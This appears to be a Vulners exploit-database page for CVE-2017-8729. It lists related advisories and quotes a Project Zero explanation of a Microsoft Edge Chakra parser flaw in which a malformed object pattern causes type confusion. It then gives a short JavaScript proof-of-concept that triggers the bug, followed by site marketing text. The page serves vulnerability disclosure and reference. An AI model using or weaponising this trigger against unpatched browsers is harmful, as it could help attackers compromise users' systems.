| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| CVE-2017-8729 | 21 Sep 201700:00 | – | circl | |
| Microsoft Edge Memory Corruption Vulnerability (CNVD-2017-28650) | 13 Sep 201700:00 | – | cnvd | |
| CVE-2017-8729 | 13 Sep 201701:00 | – | cve | |
| CVE-2017-8729 | 13 Sep 201701:00 | – | cvelist | |
| September 12, 2017—KB4038788 (OS Build 15063.608) | 12 Sep 201707:00 | – | mskb | |
| KLA11098 Multiple vulnerabilities in Microsoft Edge and Microsoft Internet Explorer | 12 Sep 201700:00 | – | kaspersky | |
| Scripting Engine Memory Corruption Vulnerability | 12 Sep 201707:00 | – | mscve | |
| CVE-2017-8729 | 13 Sep 201701:29 | – | nvd | |
| Microsoft Windows Multiple Vulnerabilities (KB4038788) | 13 Sep 201700:00 | – | openvas | |
| Microsoft Edge Chakra Incorrect Parse | 22 Sep 201700:00 | – | packetstorm |
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1308
When the Chakra's parser meets "{", at first, Chakra treats it as an object literal without distinguishing whether it will be an object literal(i.e., {a: 0x1234}) or an object pattern(i.e., {a} = {a: 1234}). After finishing to parse it using "Parser::ParseTerm", if it's an object pattern, Chakra converts it to an object pattern using the "ConvertObjectToObjectPattern" method.
The problem is that "Parser::ParseTerm" also parses ".", etc. using "ParsePostfixOperators" without proper checks. As a result, an invalid syntax(i.e., {b = 0x1111...}.c) can be parsed and "ConvertObjectToObjectPattern" will fail to convert it to an object pattern.
In the following PoC, "ConvertObjectToObjectPattern" skips "{b = 0x1111...}.c". So the object literal will have incorrect members(b = 0x1111, c = 0x2222), this leads to type confusion(Chakra will think "c" is a setter and try to call it).
PoC:
-->
function f() {
({
a: {
b = 0x1111,
c = 0x2222,
}.c = 0x3333
} = {});
}
f();
# 0day.today [2018-02-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation